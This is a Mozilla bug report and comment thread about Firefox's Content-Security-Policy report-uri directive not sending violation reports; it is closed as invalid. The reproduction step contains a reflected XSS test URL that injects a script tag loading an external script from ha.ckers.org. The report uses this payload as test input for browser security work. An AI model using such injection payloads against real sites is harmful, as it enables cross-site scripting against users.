820719 - Content-Security-Policy: report-uri directive doesn't work

Status: RESOLVED INVALID

(Core :: Security, defect)

Description

[Taras]

User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0
Build ID: 20121128204232

Steps to reproduce:

1. Specify Content-Security-Policy with HTTP header:

  X-Content-Security-Policy:script-src 'self' http://example.com;report-uri http://localhost/csp/report.php

2. Navigate to URL: http://localhost/csp/test.php?foo=bar%3Cscript%20src=%22http://ha.ckers.org/xss.js%22%3E%3C/script%3E


Actual results:

URL which specified in report-uri directive is not requested (you can see it e.g. if you write some log data in this script). In same this case works well (POST request is sended to report-uri) in Chromium (Version 22.0.1229.94 Debian wheezy/sid (161065)
).


Expected results:

report-uri should be requested as expected in https://developer.mozilla.org/en-US/docs/Security/CSP/Using_CSP_violation_reports

Comment 1

[Danny Moules]

Tested with a variety of rules on Nightly (21.0a1) and observed the same defective behaviour.

Tried:

script-src 'self' http://example.com; report-uri /report.php
script-src 'self' http://example.com; report-uri http://localhost/report.php
allow *; report-uri http://localhost/report.php
allow *; report-uri /report.php

Test cases on MXR here: http://mxr.mozilla.org/mozilla-central/source/content/base/test/unit/test_csputils.js#685

Comment 2

[Danny Moules]

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130124 Firefox/21.0
Build ID: 20130124054158

Comment 3

[Taras]

Still not fixed in Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0 :( Do you need additional information?

Comment 4

[Daniel Veditz [:dveditz]]

Sid is this fixed now?

Comment 5

[Sid Stamm [:geekboy or :sstamm]]

Attachment: test script

Comment 6

[Sid Stamm [:geekboy or :sstamm]]

Pretty sure our reporting mechanism is working as intended.

(In reply to Danny Moules from comment #1)
> script-src 'self' http://example.com; report-uri /report.php
> script-src 'self' http://example.com; report-uri http://localhost/report.php

With the X- header, both of these are invalid policies and are rolled back to "default-src 'none'".  There's no report URI allowed since the whole header is disregarded.  No reports means this is working as advertised.

> allow *; report-uri http://localhost/report.php
> allow *; report-uri /report.php

Tested both of these in 22.0a1 and they both generated the right report posts (with an attempt to execute inline script).

Resolving this bug invalid since the X- policies don't have default-src or allow directives and are thus failed closed to "default-src 'none'" and I can't reproduce the lack of report problem with the last two test cases.

Please file a new bug if you have the same problems with the CSP 1.0 policies (Using Content-Security-Policy header without the X-).